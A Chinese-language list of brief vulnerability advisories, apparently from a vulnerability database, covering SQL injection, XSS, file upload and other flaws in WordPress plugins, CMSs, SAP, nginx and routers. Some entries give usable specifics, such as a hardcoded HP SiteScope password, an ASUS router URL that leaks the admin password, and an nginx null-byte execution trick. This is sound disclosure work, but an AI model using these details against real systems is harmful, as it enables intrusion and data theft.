WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Yolink Search存在SQL注入漏洞，由于程序在SQL查询之前未能正确过滤用户提供的输入，攻击者可以利用漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
FileBox File Hosting And Sharing Script存在SQL注入漏洞，由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，或利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Event Registration存在SQL注入漏洞，由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，或利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Advertizer存在SQL注入漏洞，由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，或利用底层数据库中潜在的漏洞。
Yahoo! Player是一款媒体播放程序。Yahoo! Player存在缓冲区溢出漏洞，目前没有详细漏洞细节提供。
IBM WebSphere Application Server是一款商业性质的WEB应用服务程序。IBM WebSphere Application Server存在信息披露漏洞，攻击者可以利用漏洞查看受限制的文件。
babelweb是一种基于Web的监控工具。babelweb存在权限提升漏洞，由于程序在检查'user'选项是否正确时产生错误，导致babelweb以root权限运行。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Custom Post Type UI存在跨站脚本漏洞，由于程序未能正确过滤用户提供的输入，攻击者可以利用这漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
MiniFTPServer是一款迷你FTP服务器。MiniFTPServer存在拒绝服务漏洞，远程攻击者可以利用漏洞使受影响的应用程序崩溃，拒绝服务合法用户。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Facebook Promotions存在SQL注入漏洞，由于程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞访问或修改数据，或利用底层数据库中潜在的漏洞。
Mini-stream Ripper是一款多用途的音频（流）转换器＋CD抓轨器。Mini-stream Ripper存在缓冲区溢出漏洞，由于程序没有对用户提供的数据进行充分的边界检查，攻击者可能利用漏洞在应用程序上下文执行任意代码或导致拒绝服务。
Casper Suite是一款为为Mac OS X和iOS客户端管理的可扩展性框架。Casper Suite JAMF Software Server存在跨站脚本漏洞，由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响站点上下文的不知情用户浏览器中执行任意脚本代码或窃取基于Cookie的身份验证凭据，并发动其他攻击。
ClearSCADA是包含轮训引擎，实时数据库，WEB服务器，报警处理器和报告软件的集成SCADA主机平台。ClearSCADA存在安全认证绕过漏洞，攻击者可以利用漏洞获得敏感信息或执行未经授权的操作。
WebKit是一款开放源代码的浏览器引擎。WebKit存在远程代码执行漏洞，攻击者可以利用漏洞通过诱使不知情的用户访问一个恶意网页，导致执行任意代码或拒绝服务。
Mambo是一款开源的WEB内容管理系统。Mambo CMS存在跨站请求伪造漏洞，远程攻击者可利用该漏洞诱骗用户访问恶意web页面，该页面由特制的脚本代码组成，攻击者可以利用漏洞在受影响设备上运行特权命令。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Yoast插件中存在本地文件泄露漏洞。该漏洞源于应用程序没有对用户提供的输入进行充分过滤，远程攻击者可借助f参数从受影响计算机上的本地文件中获取敏感信息。
BIWEB商务智能网站系统是依托在ArthurXF企业应用级PHP开发框架上的大型网站系统。BIWEB存在本地包含漏洞，目前没有详细细节提供。
SQL-Ledger是一款企业的财务和ERP系统，会计数据存储在一个SQL数据库服务器，以显示任何文本或图形用户界面的浏览器都可以使用。SQL-Ledger存在安全漏洞，由于某些未明输入在被用于SQL查询之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
Squid是一款代理服务器和Web缓存服务器。Squid解析来自Gopher服务器上的应答时存在缺陷，如果Gopher服务器返回的行超过4096字节可触发缓冲区溢出，此溢出可导致内存破坏一般可使Squid崩溃。恶意用户必须设置伪造的Gopher服务器，并转发请求通过Squid。成功利用漏洞允许以服务器上下文执行任意代码。
JagoanStore是一款内容管理系统。JagoanStore存在文件上传漏洞，攻击者可以利用漏洞来上传任意PHP文件。
HP SiteScope是一种为确保分布式IT基础部件的可用性和性能的无代理的监视解决方案。HP SiteScope存在安全漏洞，允许恶意用户绕过部分安全限制。HP SiteScope包含特殊用户账户，其密码为"vKm46*sdH$8109#JLSudh:)"，结合管理WEB接口没有正确校验某些请求，可被用于执行管理任务，如创建任意用户。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Collision Testimonials存在SQL注入漏洞，目前没有详细细节提供。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Collision Testimonials存在SQL注入漏洞，目前没有详细细节提供。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件oQey Headers存在SQL注入漏洞，目前没有详细细节提供。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Evarisk存在SQL注入漏洞，目前没有详细细节提供。
Phorum是一款基于PHP的WEB论坛程序。Phorum存在跨站脚本漏洞，由于传递到control.php中"real_name" POST参数的输入在被返回用户之前未能正确过滤，攻击者可以利用漏洞在受影响站点的用户浏览器会话中执行任意HTML和脚本代码。
Ipswitch WhatsUp Gold是一款监视TCP/IP,NetBEUI和IPX网络状态使用方便的工具。Ipswitch WhatsUp Gold存在安全漏洞，允许恶意用户绕过某些安全限制。当通过LDAP处理验证时存在一个未明错误，允许攻击者无需合法密码成功登录。
Omnistar Mailer是一款电子邮件营销软件。Omnistar Mailer存在跨站脚本漏洞，目前没有详细细节提供。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Js-appointment存在SQL注入漏洞，由于传递到wp-content/plugins/js-appointment/searchdata.php中"cat"参数的输入（当"search_action"设置为"searchadv"时) 在被用于SQL查询之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
Axway SecureTransport是一款安全，可靠可审计的管理文件传送解决方案。Axway SecureTransport设备在'/icons/'目录中存在一个目录遍历问题，未验证远程攻击者可以利用此漏洞获得目标系统root目录之外的任意文件。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Profiles存在SQL注入漏洞，目前没有详细细节提供。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件mySTAT存在SQL注入漏洞，目前没有详细细节提供。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件SH Slideshow存在SQL注入漏洞，目前没有详细细节提供。
Joomla!是一款开放源码的内容管理系统。Joomla! Simple File Lister模块存在目录遍历漏洞，由于在modules/mod_simplefilelisterv1.0/helper.php中，通过"sflDir"参数传递至index.php(当"option"设置为"com_content", "view"设置为"article"和"id"被设置时) 的输入在被用于列表文件前未能正确验证，攻击者可以利用漏洞列出任意目录。
深信服SSL VPN解决方案在政府、金融、运营商、能源、教育、大中型企业等各个领域都得到了广泛应用。 深信服SSL VPN中存在文件上传漏洞。远程攻击者可以利用漏洞上传文件，控制服务器。
深信服SSL VPN解决方案在政府、金融、运营商、能源、教育、大中型企业等各个领域都得到了广泛应用。 在部分版本的深信服SSL VPN 中存在控制台界面绕过认证漏洞。攻击者可以远程连接，取得管理员操作权限。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的WordPress Amazon Associate插件中存在多个跨站脚本攻击漏洞。由于应用程序没有正确过滤用户提供的输入，远程攻击者可利用这些漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Redirection插件中存在跨站脚本攻击漏洞。该漏洞源于应用程序没有正确过滤用户提供的输入，远程攻击者可借助id参数在受影响站点上下文的用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书。
SmartCMS是一款内容管理系统。SmartCMS存在跨站脚本漏洞。通过"pageid"参数输入到userauthentication.php的输入在返回至用户前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Jcow是一款基于PHP的社交网络和在线社区脚本。Jcow Social Networking Script存在安全漏洞，由于应用程序未能过滤用户提供的输入，攻击者可以利用漏洞执行任意PHP代码。
DotNetNuke是一款开源的内容管理系统。检查模块的权限的功能存在一个逻辑错误，攻击者提供特制的URL可提升特权。要成功利用漏洞需要对模块拥有"edit module"权限。
Adobe ColdFusion是一个动态Web服务器。Adobe ColdFusion在"name"的实现上存在跨站脚本执行漏洞，远程攻击者可利用此漏洞执行跨站脚本执行攻击。
Hitachi JP1/Cm2/网络节点管理器存在安全漏洞，允许恶意用户进行拒绝服务攻击或可控制应用系统。目前没有详细漏洞细节提供，漏洞可导致应用程序崩溃或任意代码执行。
Jcow是一款基于PHP的社交网络和在线社区脚本。Jcow Social Networking Script存在跨站脚本漏洞，由应用于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
BusyBox是标准Linux工具的一个单个可执行实现，集成压缩了Linux的许多工具和命令。BusyBox在unpack_Z_stream()的实现上存在缓冲区溢出漏洞，远程攻击者可利用此漏洞造成拒绝服务并可能控制用户系统。
PHP是一款流行的编程语言。PHP在"crypt()"函数的实现上存在安全漏洞，远程攻击者可利用此漏洞绕过某些安全限制。
Groovy Media Player是一款音乐播放器。Groovy Media Player存在安全漏洞，由于应用程序对用户提供的输入没有执行充分的边界检查，攻击者可利用漏洞在应用程序上下文执行任意代码或导致拒绝服务。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。"EPS_DELETE_FILE"函数存在输入验证错误，攻击者提交目录遍历序列请求可删除任意文件。要成功利用漏洞需要能访问默认SAP账户TMSADM或SAPCPIC。
velocity是J2EE的MVC架构常用的展示层模板文件。VelocityLayoutServlet允许用户提交layout参数，指定模板位置。velocity给出了自己的servlet，这个servlet配合几个技巧，可以做到执行任意java代码。
Hitachi JP1/Cm2/Network Node Manager是网络节点管理器。Hitachi JP1/Cm2/Network Node Manager在实现上存在多个不明细节漏洞，可被恶意用户利用造成拒绝服务或控制受影响系统。
Real Estate Script中存在HTML注入漏洞。该漏洞源于应用程序没有对用户提供的数据进行充分过滤，远程攻击者可借助txtsearch参数在受影响浏览器上下文中运行HTML和脚本代码，并窃取基于cookie的认证证书或控制站点如何呈现给用户。
Hotel Portal中存在HTML注入漏洞。该漏洞源于应用程序没有对用户提供的数据进行充分过滤，远程攻击者可借助hotel_city参数在受影响浏览器上下文中运行HTML和脚本代码，并窃取基于cookie的认证证书或控制站点如何呈现给用户。
Shopzilla Affiliate Comparison Shopping Script的search.php中存在跨站脚本攻击漏洞。由于应用程序没有正确过滤用户提供的输入，远程攻击者可利用该漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书。
SAP NetWeaver是一个面向服务的应用和集成平台。为SAP的应用提供开发和运行环境，也可以用来和其它应用和系统进行自定义的开发和集成。SAP NetWeaver在EPS_DELETE_FILE()的实现上存在任意文件删除漏洞，远程攻击者可利用此漏洞删除受影响计算机上的任意文件或通过SMBRelay攻击窃取Windows环境中的SAP服务器账号的哈希。攻击者可使用默认的SAP账号（如TMSADM或SAPCPIC)远程执行函数EPS_DELETE_FILE删除OS中的任意文件，或发送SAP账号的哈希到远程主机或执行smbrelay攻击。
AlstraSoft E-Friends是一款在线社交网络工具软件。AlstraSoft E-Friends存在HTML注入漏洞。由于应用程序在用于动态生成的内容之前未能正确过滤用户提供的输入，成功的攻击将使攻击者提供的HTML和脚本代码在受影响的浏览器上下文运行，可能允许攻击者窃取基于Cookie的身份验证凭据或控制网站如何呈现给用户。
Concrete5是一款开源的内容管理系统。Concrete存在跨站脚本漏洞。由于应用程序对用户提交的数据缺少过滤，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，或窃取基于Cookie的身份验证凭据并发动其他攻击。
CommodityRentals Books/eBooks Rental Software存在跨站脚本漏洞。由于应用程序在用于动态生成的内容之前对用户提供的输入缺少过滤，攻击者可以利用漏洞在受影响的站点上下文的不知情用户浏览器中执行任意脚本代码，窃取基于Cookie的身份验证凭据，并发动其他攻击。
Shopzilla Comparison Shopping Script存在跨站脚本漏洞。由于传递到search.php中's'参数的输入在返回用户之前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Zazavi存在任意文件上传漏洞。由于应用程序未能充分过滤用户提供的输入，攻击者可以利用漏洞在Web服务器进程中上传并运行任意代码。
VicBlog是一款PHP博客软件。VicBlog存在SQL注入漏洞。由于在include/functions.inc.php脚本中的"prepare_input()" 函数中通过"tag"参数传递至index.php脚本的输入（当"page"设置为"posts"时）在用于SQL查询之前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
马克斯程序(MaxCMS)是一个在线模板编辑系统。马克斯CMS存在cookies注入漏洞。由于rCookie函数在从cookie读取数据时未做任何过滤，从而导致cookie注入漏洞的产生。
FLV Player是一款国外的Flash视频格式文件播放器。FLV Player在实现上存在多个跨站脚本执行漏洞，远程攻击者可利用这些漏洞在受影响站点的用户浏览器中执行任意脚本代码，可能会允许攻击者窃取cookie身份验证凭证并发动其他攻击。
Simple Machines Forum(SMF)是开源、专业级的论坛软件包，可用于搭建在线社区。Simple Machines Forum存在跨站点请求伪造漏洞，远程攻击者可以利用漏洞执行某些管理行为和未经授权访问受影响的应用程序。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件SendIt存在SQL注入漏洞，目前没有详细细节提供。
PHPWind（简称：PW）是一个基于PHP和MySQL的论坛程序。PHPWIND存在SQL注入漏洞，目前没有详细细节提供。
Pop-Over Login Form (ASP)存在SQL注入漏洞。由于应用程序在被用于SQL查询之前对用户提供的数据缺少过滤，远程攻击者可以利用漏洞控制应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
ManageEngine ServiceDesk Plus是一款基于web的帮助台(HelpDesk)和资产管理软件。ManageEngine ServiceDesk Plus存在脚本注入漏洞，由于通过"reqName"参数传递到WorkOrder.do在被显示给用户之前未能正确过滤，远程攻击者可以利用漏洞插入任意HTML或脚本代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Yoast存在本地文件泄露漏洞，目前没有详细细节提供。
ManageEngine ServiceDesk Plus是一款基于web的帮助台(HelpDesk)和资产管理软件。ManageEngine ServiceDesk Plus存在跨站脚本漏洞，由于通过"select"参数传递到AnnounceShow.do，"module"参数传递到calendar/MiniCalendar.jsp和"serviceId"参数传递到HomePage.do和jsp/ServiceCatalog.jsp的输入在返回用户之前未能正确过滤，远程攻击者可以利用漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码。
Ngnix是一款高性能的web服务器，使用非常广泛，其不仅经常被用作反向代理，也可以非常好的支持PHP的运行。Ngnix在遇到%00空字节时与后端FastCGI处理不一致，导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码。
PHPEIP是一个开放式平台，能把各种应用系统（包括非PHPEIP模块）统一到此平台中。PHPEIP CMS存在本地包含漏洞，目前没有详细细节提供。
NetSaro Enterprise Messenger Server是一款企业级即时信息服务器软件。NetSaro Enterprise Messenger Server管理控制台存在一个安全漏洞，允许远程攻击者获得对应用程序源代码访问。攻击者可以提交HTTP GET请求追加空字节(%00)允许下载应用程序WEB页的源代码。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Redirection插件id参数存在跨站脚本漏洞，在wp-content/plugins/redirection/view/admin/submenu.php中没有合理地验证传递给wp-admin/tools.php脚本（即当"page"设为"redirection.php"）的id参数的用户输入，就返回相关信息给用户。攻击者可利用此漏洞可在受影响站点的用户浏览器会话中注入任意的HTML或脚本代码。
ASUS RT-N56U是一款无线路由器设备。ASUS RT-N56U存在安全漏洞，允许远程未验证攻击者获得设备管理员密码。能访问设备的攻击者可访问http://RouterIPAddress/QIS_wizard.htm?flag=detect页面。攻击者无需输入登录凭据即可获得设备配置。此WEB页面会显示设备管理员密码。默认配置下，只允许连接到本地域网络(LAN)的客户端访问系统WEB接口。
Yaxal中存在多个HTML注入漏洞。用户提供的输入在被用于生成动态内容之前没有经过正确过滤，远程攻击者可利用这些漏洞在受影响的浏览器上下文中运行HTML和脚本代码，并窃取基于cookie的认证证书或控制站点如何呈现给用户。
Allomani Audio & Video Library中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助msg_id参数访问或修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的U BuddyPress Forum Attachment中存在远程文件泄露漏洞。应用程序没有对用户提供的输入进行正确过滤，远程攻击者可借助fileurl参数浏览web服务器进程上下文中的本地文件。
Bonza是一款购物车系统。Bonza Digital Cart Script存在SQL注入漏洞，由于应用程序没有对用户提供的输入进行充分过滤，远程攻击者可以利用漏洞访问或修改数据。
Bonza是一款购物车系统。Bonza Digital Cart Script中存在跨站脚本漏洞，由于应用程序没有对用户提供的输入进行充分过滤，远程攻击者可利用漏洞窃取基于cookie的认证证书。
多个F-Secure产品使用的Gadget Resource Handler ActiveX控件存在安全漏洞，允许攻击者构建恶意WEB页，诱使用户解析，可以应用程序上下文执行任意代码。漏洞是由于处理"initialize()"方法时存在边界错误，攻击者借此可触发基于栈的缓冲区溢出。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress存在本地文件泄露漏洞，由于应用程序没有对用户提供的输入进行充分验证，攻击者可利用该漏洞从本地文件中获取敏感信息，从本地文件易受攻击的应用程序的计算机上运行。这可能有助于进一步攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress存在本地文件泄露漏洞,由于应用程序没有对用户提供的输入进行充分验证，这个漏洞将允许攻击者获得潜在的敏感信息，从本地文件易受攻击的应用程序的计算机上运行。
Citrix Access Gateway是一款通用的SSL VPN设备。相关登录页面的部分输入在返回用户之前缺少过滤，攻击者可以利用漏洞进行跨站脚本攻击，可在目标用户浏览器上执行任意HTML和脚本代码。可获得敏感信息或劫持用户会话。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress index.php插件中存在SQL注入漏洞，由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或修改数据，利用底层数据库中潜在的漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress wp-admin/post.php存在跨站脚本漏洞，由于应用程序没有对用户提供的输入进行正确过滤，远程攻击者可利用该漏洞在受影响站点上下文的用户浏览器中执行任意代码，以及窃取基于Cookie的身份验证凭据，并发动其他攻击。
颖源E3 CMS 2006是颖源科技开发的一款内容管理软件。E3 CMS2006内容管理系统存在任意文件上传漏洞。系统中包含多个未对用户上传的文件类型进行合法性验证的上传页面，用户可通过上传脚本木马获取服务器完全控制权限。
颖源E3 CMS 2006是颖源科技开发的一款内容管理软件。E3 CMS2006内容管理系统存在敏感信息泄露漏洞。未对系统敏感文件进行登录验证，致使攻击者可通过访问该文件获取系统文件列表、用户列表等敏感信息。
颖源E3 CMS 2006是颖源科技开发的一款内容管理软件。E3 CMS2006内容管理系统存在越权访问漏洞。权限管理模块未对登录用户访问特权页面时进行二次鉴别，导致普通用户可修改其他所有用户的密码及权限，将任意用户提升为超级管理员。
OneFileCMS是一款只有一个文件的轻量级CMS系统。  OneFileCMS 1.1.1版本的onefilecms.php中存在跨站脚本攻击漏洞。由于用户提供的输入在被用于动态生成的内容之前没有经过正确过滤，远程攻击者可利用该漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书。
EasySiteEdit的sublink.php中存在远程文件包含漏洞。由于应用程序没有充分过滤用户提供的输入，攻击者可利用该漏洞使应用程序崩溃。
TotalShopUK 1.7.2及其他版本的index.php中存在SQL注入漏洞。由于用户提供的输入在被用于SQL查询之前没有经过正确过滤，远程攻击者可利用该漏洞访问或修改数据。
EasySiteEdit是一款内容管理系统。EasySiteEdit存在安全漏洞，由于传递到sublink.php中'langval'参数的输入在被用来包含文件前未能正确验证，这可以被利用包含本地或远程资源的任意文件。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress存在安全漏洞，由于在wp-content/plugins/u-extended-comment/includes/attachment中，通过'fileurl'参数传递到index.php（当'wpnonce'设置和'uexc_attach_download'设置为'true'）的输入在用来被下载文件前未能正确验证，攻击者可以利用漏洞从本地资源，通过目录遍历序列下载任意文件。
Apache是一款Web服务器软件。Apache httpd存在远程拒绝服务漏洞。攻击者可利用此漏洞导致Apache服务器无响应从而拒绝服务。
Yaxal是一款购物车系统。Yaxal存在安全漏洞，由于在yaxal_products.php后附加到URL的输入在返回至用户前未能正确过滤，攻击者可以利用漏洞在受影响的站点上下文的用户的浏览器会话中执行任意HTML和脚本代码。
CodeWidgets.com弹出式登录表单（ASP）是一款完整的网页文件。CodeWidgets.com弹出式登录表单（ASP）存在SQL注入漏洞，由于通过'Email'和'Password'参数传递至login.asp的输入在用于SQL查询前未能正确过滤，可被攻击者利用通过注入任意SQL代码来操纵SQL查询。
Allomani Audio & Video Library是一款音频和视频网站的脚本。Allomani Audio & Video Library存在SQL注入漏洞，由于通过'msg_id'参数传递至usercp.php（当'action'设置'msg_reply'）的输入在SQL查询前未能正确地过滤，可以被攻击者利用通过注入任意SQL代码来操纵SQL查询。
V5SHOP网店系统是一款免费网店系统。V5shop存在注入漏洞，目前没有详细细节提供。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件MM Duplicate SQL注入漏洞，目前没有详细细节提供。
phpMyRealty是一款功能强大，可自由定制浏览目录，拥有多重代理功能的房地产网站代码。  phpMyRealty 1.0.7及其他版本中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助seed参数访问或者修改数据。
Network Tracker 0.95及其他版本中存在多个HTML注入漏洞。由于用户提供的输入在被用于动态生成内容之前没有经过正确过滤，远程攻击者可利用该漏洞在受影响浏览器上下文中运行HTML或脚本代码，并窃取基于cookie的认证证书或者控制站点如何呈现给用户。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WP Symposium存在安全漏洞，由于uploadify/ get_profile_avatar.php中传递至'uid'参数的输入在被用于SQL查询之前未能正确过滤，可以被利用通过注入任意SQL代码来操纵SQL查询。
SAP NetWeaver是一款SAP业务套件解决方案、SAP xApps组合应用、合作伙伴解决方案以及客户定制应用的技术基础。通过"server"参数传递给RetrieveMailExamples servlet的参数在返回用户之前缺少过滤，可被利用进行跨站脚本攻击，在目标用户浏览器上执行恶意HTML和脚本代码。
LedgerSMB是一款开源的ERP系统。在用于SQL查询之前，LedgerSMB不正确过滤某些未明输入，攻击者可以利用漏洞注入任意SQL代码，操作数据库或获得敏感信息。
Freefloat FTP Server是一款FTP服务程序。Freefloat FTP Server处理ALLO命令请求时存在输入验证错误，发送超长命令参数可触发缓冲区溢出，使应用程序崩溃。成功利用漏洞可以以应用程序上下文执行任意代码。
Elgg 1.7.10及其他版本中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助tag_names参数访问或者修改数据。
MantisBT是一个基于PHP技术的轻量级的开源缺陷跟踪系统。  MantisBT 1.2.6及其他版本中存在SQL注入和跨站脚本攻击漏洞。远程攻击者可窃取基于cookie的认证证书，访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Allow PHP in Posts and Pages插件中存在SQL注入漏洞。该漏洞源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助id参数访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的WP Ajax Gallery插件中的ajaxgallery/utils/list.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Global Content Blocks插件中的gcb_export.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Menu Creator插件中的updateSortOrder.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
RoundCube Webmail是一个基于浏览器的IMAP客户端。  RoundCube Webmail 0.5.4之前版本没有正确过滤用户提供的数据，导致存在跨站脚本攻击漏洞。远程攻击者可借助_mbox参数在受影响站点上下文的用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的WP DS FAQ插件中的ajax.php中存在SQL注入漏洞。由于用户提供的数据在被用户SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Free Help Desk 1.1g之前版本中存在多个未明安全漏洞。可引起未明影响和攻击向量。
Aspcms是开源的企业建站系统。Aspcms 2.1.4 GBK版存在注入漏洞。目前没有详细漏洞细节提供。
Aspcms是开源的企业建站系统。Aspcms企业建站系统存在SQL注入漏洞。目前没有详细漏洞细节提供。
FoosunCMS是一款基于ASP+ACCESS/MSSQL构架的内容管理软件。风讯foosun的注册文件存在漏洞，攻击者可以利用漏洞获得管理员帐号和密码。
织梦(DEDECMS)是开源的内容管理系统。织梦(DEDECMS)内容管理系统存在SQL注入漏洞。目前没有详细细节提供。
Xlight FTP Server是一款FTP服务程序。Xlight FTP Server不正确提交用户的请求，远程攻击者可以利用漏洞对应用程序进行缓冲区溢出攻击，可能以应用程序上下文执行任意代码。
StatusNet是一款开源的微博系统。StatusNet在tag stream页面的实现上存在跨站脚本执行漏洞，远程攻击者可利用此漏洞在受影响站点的用户浏览器中执行任意脚本代码，窃取Cookie验证凭证。
PHP是一款流行的编程语言。php 5.3.6存在多个空指针应用错误，如果用户更改malloc大小，可导致空指针引用而使应用程序崩溃。要演示这些缺陷，可使用OpenBSD中默认512MB的默认内存限制。我们可以分配类似510MB的大内存(剩余2MB)，如果某些字符串超过2MB(如4MB)，PHP尝试使用malloc/strlen等拷贝这个字符串，malloc就会返回空。之后程序会引发空指针引用或缓冲区溢出。
Code Widgets Multiple Question - Multiple Choice Online Questionaire中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Code Widgets DataBound Collapsible Menu的main.asp中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Code Widgets DataBound Index Style Menu中的category.asp中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
Code Widgets Online Job Application中存在多个SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用这些漏洞访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Easy Contact Form Lite插件中的map-details.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的WP Symposium插件中的get_profile_avatar.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有进行充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的File Groups插件中存在SQL注入漏洞。该漏洞源于用户提供的数据被用于SQL查询之前没有经过充分的过滤，远程攻击者可借助fgid参数访问或者修改数据。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Contus HD FLV Player插件中的process-sortable.php中存在SQL注入漏洞。由于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可利用该漏洞访问或者修改数据。
WordPress的WP-Stats-Dashboard插件中存在多个跨站脚本攻击漏洞。由于对用户提供的输入没有进行充分过滤，远程攻击者可利用这些漏洞在受影响站点上下文的用户浏览器中执行任意脚本代码，并窃取基于cookie的认证证书。
WordPress是一种使用PHP语言开发的博客平台，用户可以在支持PHP和MySQL数据库的服务器上架设自己的网志。  WordPress的Fast Secure Contact Form插件中的index.php中存在跨站脚本攻击漏洞。由于对用户所提供的输入没有经过正确的过滤，远程攻击者可利用该漏洞执行受影响站点上下文用户浏览器中的任意脚本代码，并窃取基于cookie的认证证书。
Drupal是一款开源CMS，可以作为各种网站的内容管理平台。  Drupal的Forward模块中存在URI重定向漏洞。由于应用程序对用户所提供的输入没有经过充分的过滤，攻击者可通过向应用程序的页面链接注入外部URI，当不知情的受害者查看该页面时，在未知的状态下重定向于攻击者控制的站点，导致执行钓鱼攻击。
SoftwareDEP Classified Script中存在SQL注入漏洞。该登录源于用户提供的数据在被用于SQL查询之前没有经过充分过滤，远程攻击者可借助id参数访问或者修改数据。
Joomla! 是一款开放源码的内容管理系统(CMS)。  Joomla!的JoomTouch组件中存在本地文件包含漏洞。由于对用户所提供的输入没有进行正确的过滤，攻击者可借助controller参数获取敏感信息，执行web服务器进程上下文中的任意本地脚本。
